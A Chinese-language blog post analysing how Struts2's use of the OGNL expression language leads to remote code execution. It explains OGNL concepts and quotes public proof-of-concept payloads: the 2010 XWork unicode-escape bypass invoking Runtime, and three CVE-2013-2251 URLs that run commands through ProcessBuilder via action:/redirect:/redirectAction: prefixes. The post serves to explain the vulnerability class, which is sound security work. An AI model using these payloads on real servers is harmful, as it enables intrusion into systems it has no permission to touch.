OGNL設計及使用不當造成的遠端程式碼執行漏洞
我們可以把OGNL作為一個底層產品,它在功能實現中的設計缺陷,是如何能夠被利用並遠端執行惡意程式碼的,而不是完全在struts2這個產品的功能設計層面去討論漏洞原由!
什麼是OGNL?
OGNL是Object-Graph Navigation Language的縮寫,它是一種功能強大的表示式語言(Expression Language,簡稱為EL),透過它簡單一致的表示式語法,可以存取物件的任意屬性,呼叫物件的方法,遍歷整個物件的結構圖,實現欄位型別轉化等功能。它使用相同的表示式去存取物件的屬性。 OGNL三要素:(以下部分摘抄網際網路某處,我覺得說得好)
Ognl.setValue("department.name", user2, "dev");
System.out.println(user2.getDepartment().getName());
Ognl.setValue(Ognl.parseexpression_r("department.name"), context, user2, "otherDev");
System.out.println(user2.getDepartment().getName());
Ognl.setValue("department.name", user2, "dev");
System.out.println(user2.getDepartment().getName());
Ognl.setValue(Ognl.parseexpression_r("department.name"), context, user2, "otherDev");
System.out.println(user2.getDepartment().getName());
1. 表示式(Expression)
表示式是整個OGNL的核心,所有的OGNL操作都是針對表示式的解析後進行的。表示式會規定此次OGNL操作到底要幹什麼。我們可以看到,在上面的測試中,name、department.name等都是表示式,表示取name或者department中的name的值。OGNL支援很多型別的表示式,之後我們會看到更多。
2. 根物件(Root Object)
根物件可以理解為OGNL的操作物件。在表示式規定了“幹什麼”以後,你還需要指定到底“對誰幹”。在上面的測試程式碼中,user就是根物件。這就意味著,我們需要對user這個物件去取name這個屬性的值(對user這個物件去設定其中的department中的name屬性值)。
3. 上下文環境(Context)
有了表示式和根物件,我們實際上已經可以使用OGNL的基本功能。例如,根據表示式對根物件進行取值或者設值工作。不過實際上,在OGNL的內部,所有的操作都會在一個特定的環境中執行,這個環境就是OGNL的上下文環境(Context)。說得再明白一些,就是這個上下文環境(Context),將規定OGNL的操作“在哪裡幹”。 OGN L的上下文環境是一個Map結構,稱之為OgnlContext。上面我們提到的根物件(Root Object),事實上也會被加入到上下文環境中去,並且這將作為一個特殊的變數進行處理,具體就表現為針對根物件(Root Object)的存取操作的表示式是不需要增加#符號進行區分的。
Struts 2中的OGNL Context實現者為ActionContext,它結構示意圖如下:
當Struts2接受一個請求時,會迅速建立ActionContext,ValueStack,action 。然後把action存放進ValueStack,所以action的例項變數可以被OGNL訪問
那struts2引入OGNL到底用來幹什麼?
我們知道在MVC中,其實所有的工作就是在各層間做資料流轉.
在View層的資料是單一的,只有不帶資料型別的字串.在沒有框架的時代我們使用的是手動寫程式碼或者像struts1一樣利用反射,填充表單資料並轉換到Controller層的物件中,反射轉換成java資料型別的commons元件虛擬碼,如:
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.beanutils.ConvertUtils;
import org.apache.commons.beanutils.PropertyUtils;
//自動裝載表單及驗證
public class LoadForm {
//表單裝載
public static Object parseRequest(HttpServletRequest request,HttpServletResponse response,Object bean) throws ServletException, IOException{
//取得所有引數列表
Enumeration<?> enums = request.getParameterNames();
//遍歷所有引數列表
while(enums.hasMoreElements()){
Object obj = enums.nextElement();
try {
//取得這個引數在Bean中的資料類開
Class<?> cls = PropertyUtils.getPropertyType(bean, obj.toString());
//把相應的資料轉換成對應的資料型別
Object beanValue = ConvertUtils.convert(request.getParameter(obj.toString()), cls);
//填充Bean值
PropertyUtils.setProperty(bean, obj.toString(), beanValue);
} catch (Exception e) {
//不顯示異常 e.printStackTrace();
}
}
return bean;
}
}
從Controller層到View層,還是手動寫程式碼然後到頁面上取,如虛擬碼:
request.setAttribute("xxx", "xxx");
而Struts2採納了XWork的一套完美方案(Xwork提供了很多核心功能:前端攔截機(interceptor),執行時表單屬性驗證,型別轉換,強大的表示式語言(OGNL – the Object Graph Navigation Language),IoC(Inversion of Control反轉控制)容器等). 並在此基礎上構建一套所謂完美的機制,OGNL方案和OGNLValueStack機制.
View層到Controller層自動轉儲;然後是Controller層到View層,我們可以使用簡易的表示式取物件資料顯示到頁面,如: ${物件.屬性},節省不少程式碼時間且使用方便.而它的儲存結構就是一棵物件,這裡我們可以把物件樹當成一個java物件暫存器,可以方便新增、訪問物件等。 但是OGNL的這些功能或機制是危險的.
我們列舉一下表示式功能操作清單:
1. 基本物件樹的訪問
物件樹的訪問就是透過使用點號將物件的引用串聯起來進行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
2. 對容器變數的訪問
對容器變數的訪問,透過#符號加上表示式進行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
3. 使用運算子號
OGNL表示式中能使用的運算子基本跟Java裡的運算子一樣,除了能使用 +, -, *, /, ++, --, ==, !=, = 等運算子之外,還能使用 mod, in, not in等。
4. 容器、陣列、物件
OGNL支援對陣列和ArrayList等容器的順序訪問:例如:group.users[0]
同時,OGNL支援對Map的按鍵值查詢:
例如:#session['mySessionPropKey']
不僅如此,OGNL還支援容器的構造的表示式:
例如:{"green", "red", "blue"}構造一個List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}構造一個Map
你也可以透過任意類物件的建構函式進行物件新建:
例如:new Java.net.URL("xxxxxx/")
5. 對靜態方法或變數的訪問
要引用類的靜態方法和欄位,[email protected]@[email protected]@method(args):
例如:@[email protected],@[email protected]
6. 方法呼叫
直接透過類似Java的方法呼叫方式進行,你甚至可以傳遞引數:
例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
7. 投影和選擇
OGNL支援類似資料庫中的投影(projection) 和選擇(selection)。
投影就是選出集合中每個元素的相同屬性組成新的集合,類似於關聯式資料庫的欄位操作。投影操作語法為 collection.{XXX},其中XXX 是這個集合中每個元素的公共屬性。
例如:group.userList.{username}將獲得某個group中的所有user的name的列表。
選擇就是過濾滿足selection 條件的集合元素,類似於關聯式資料庫的紀錄操作。選擇操作的語法為:collection.{X YYY},其中X 是一個選擇運算子,後面則是選擇用的邏輯表示式。而選擇運算子有三種:
? 選擇滿足條件的所有元素
^ 選擇滿足條件的第一個元素
$ 選擇滿足條件的最後一個元素
例如:group.userList.{? #txxx.xxx != null}將獲得某個group中user的name不為空的user的列表。
結合之前的漏洞POC,只舉兩例漏洞說明本質問題所在(其他類似,如:安全限制繞過,非必要使用OGNL或奇葩地利用OGNL實現設計功能等).那麼只要struts2的某些功能使用了OGNL功能,且外部引數傳入OGNL流程的,理論上都是能夠執行惡意程式碼的.
參照之前的PoC從“表示式功能操作清單”中選取“危險項清單”,一些危險的功能操作,問題就出現在它們身上,提供了比較有危害PoC的構造條件:
1. 基本物件樹的訪問
物件樹的訪問就是透過使用點號將物件的引用串聯起來進行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
2. 對容器變數的訪問
對容器變數的訪問,透過#符號加上表示式進行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
3. 容器、陣列、物件
OGNL支援對陣列和ArrayList等容器的順序訪問:例如:group.users[0]
同時,OGNL支援對Map的按鍵值查詢:
例如:#session['mySessionPropKey']
不僅如此,OGNL還支援容器的構造的表示式:
例如:{"green", "red", "blue"}構造一個List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}構造一個Map
你也可以透過任意類物件的建構函式進行物件新建:
例如:new Java.net.URL("xxxxxx/")
4. 對靜態方法或變數的訪問
要引用類的靜態方法和欄位,[email protected]@[email protected]@method(args):
例如:@[email protected],@[email protected]
5. 方法呼叫
直接透過類似Java的方法呼叫方式進行,你甚至可以傳遞引數:
例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
以及上下文環境和這個struts2設計,當Struts2接受一個請求時,會迅速建立ActionContext,ValueStack,action 。然後把action存放進ValueStack,所以action的例項變數可以被OGNL訪問。
第一個,是2010年7月14號(亮點1:烏雲好象就是這天出生的吧?),"Struts2/XWork < 2.2.0遠端執行任意程式碼漏洞",POC:
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1
也就是這個經典的POC,大家開始第一次認識struts2漏洞(之前也有,只是那時很少有人去關注,或許很容易就能找到一個0day(而且是永遠的0day,回溯一下框架歷史,我不能再提示了!)。 myibatis框架也有引入OGNL的,親!
由於ONGL的呼叫可以透過http傳參來執行,為了防止攻擊者以此來呼叫任意方法,Xwork設定了兩個引數來進行防護:
OgnlContext的屬性 'xwork.MethodAccessor.denyMethodExecution'(預設為真)
SecurityMemberAccess私有欄位'allowStaticMethodAccess'(預設為假)
(這裡我現在還沒想明白,既然都有這步限制了?為什麼後面的那些還會出現,難道官方只會看著公佈的PoC打補丁?)
這裡大家都知道,是使用#限制OgnlContext 'xwork.MethodAccessor.denyMethodExecution'和'allowStaticMethodAccess'上下文訪問以及靜態方法呼叫的值設定.而漏洞作者使用十六進位制編碼繞過了限制,[email protected]@getRuntime()這個靜態方法執行命令.
java.lang.Runtime.getRuntime().exit(1) (終止當前正在執行的 Java 虛擬機器)
在某些struts2漏洞中已經開始改變這個觀念,因為我們很難再繞過上面的安全限制了.去呼叫上下文的屬性及靜態方法執行惡意java程式碼.
但是"危險清單"中還有一個可以利用,OGNL表示式中居然可以去new一個java物件(見危險項清單 3.),對於構造PoC足夠用了,而不需要上面那些條件.(之前也有類似的相關漏洞,我發現官方並不喜歡做程式碼審計的)
Apache Struts CVE-2013-2251 Multiple Remote Command Execution Vulnerabilities
這裡漏洞原理大致是這樣,作者一共提供了三個PoC:
http://www.example.com/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} (這個和後面兩個是有點區別的,多測試目標時你會發現!)
http://www.example.com/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://www.example.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
action:
redirect:
redirectAction:
這三關鍵字是struts2設計出來做短地址導航的,但它奇葩地方在於,如:redirectAction:${惡意程式碼}後面可以跟OGNL表示式執行,找這種相關的漏洞很好找(如果還有),檢視struts2原始碼${},%{}等(struts2只認定這些特徵的程式碼進入OGNL表示式執行流程),struts2執行ognl表示式的實現功能的地方.
而java.lang.ProcessBuilder是另外一個可以執行命令的java基礎類,還有後面大家手中的PoC(new檔案操作及輸入輸出流相關危險類等),此時我們發現只要new物件然後呼叫其方法就可以了.不再需要上面的一些靜態方法等.
這裡只能將OGNL和struts2各打50大板了!
相關文章
- RCE(遠端程式碼執行漏洞)原理及漏洞利用2022-03-17
- ThinkPHP遠端程式碼執行漏洞2019-09-12PHP
- phpunit 遠端程式碼執行漏洞2020-10-16PHP
- ThinkPHP 5.0.23 遠端程式碼執行漏洞2024-04-19PHP
- OpenWRT 曝遠端程式碼執行漏洞2020-02-03
- Joomla遠端程式碼執行漏洞分析2020-08-19OOM
- 最新漏洞:Spring Framework遠端程式碼執行漏洞2022-03-31SpringFramework
- WindowsJScript元件曝遠端程式碼執行漏洞2018-06-05WindowsJS元件
- .NET Remoting 遠端程式碼執行漏洞探究2020-08-19REM
- 什麼是遠端程式碼執行漏洞?2022-07-07
- Discuz! X系列遠端程式碼執行漏洞分析2020-08-19
- PHP CGI Windows下遠端程式碼執行漏洞2024-06-07PHPWindows
- log4j遠端程式碼執行漏洞2024-06-08
- crash_for_windows_pkg遠端程式碼執行漏洞2022-03-24Windows
- Windows漏洞:MS08-067遠端程式碼執行漏洞復現及深度防禦2021-11-16Windows
- 嚴重PHP漏洞使威聯通裝置面臨遠端程式碼執行風險2022-06-24PHP
- Apache Struts 再曝高危遠端程式碼執行漏洞2018-08-27Apache
- [漏洞預警]Laravel <= 8.4.2 Debug模式 _ignition 遠端程式碼執行漏洞2021-01-13Laravel模式
- Spring WebFlow 遠端程式碼執行漏洞(CVE-2017-4971)2024-04-30SpringWeb
- Apache OFBiz遠端程式碼執行漏洞(CVE-2024-38856)2024-09-12Apache
- Log4j遠端程式碼執行漏洞漫談2022-02-25
- CVE-2020-17530——Apache Struts遠端程式碼執行漏洞2020-12-08Apache
- 網站漏洞檢測 squid反向代理存在遠端程式碼執行漏洞2019-09-02網站UI
- PHP-CGI遠端程式碼執行漏洞(CVE-2012-1823)2024-04-06PHP
- SMB遠端程式碼執行漏洞CVE-2020-0796安全通告2020-03-13
- Spring Cloud Gateway 遠端程式碼執行漏洞(CVE-2022-22947)2022-03-08SpringCloudGateway
- Struts2 Tomcat class.classLoader.resources.dirContext.docBase賦值造成的DoS及遠端程式碼執行利用!2020-08-19TomcatContext賦值
- ElasticSearch Groovy指令碼遠端程式碼執行漏洞分析(CVE-2015-1427)2020-08-19Elasticsearch指令碼
- Steam客戶端發現遠端程式碼執行漏洞:已放補丁2018-06-06客戶端
- PHP-CGI遠端1程式碼執行漏洞(CVE-2012-1823)2024-03-14PHP
- PHP-fpm 遠端程式碼執行漏洞(CVE-2019-11043)分析2019-10-28PHP
- Apache Kylin遠端程式碼執行漏洞復現(CVE-2020-1956)2020-11-08Apache
- Weblogic遠端程式碼執行漏洞(CVE-2020-14750)修復方案2020-11-03Web
- Apache log4j2 遠端程式碼執行漏洞復現?2021-12-14Apache
- Apache Solr應用伺服器存在遠端程式碼執行漏洞?2021-11-04ApacheSolr伺服器
- Fastjson反序列化遠端程式碼執行漏洞產生原因及修復建議2022-06-01ASTJSON
- 新的PHP高危漏洞可導致黑客執行遠端程式碼攻擊2019-10-28PHP黑客
- Apache SSI 遠端命令執行漏洞2020-10-05Apache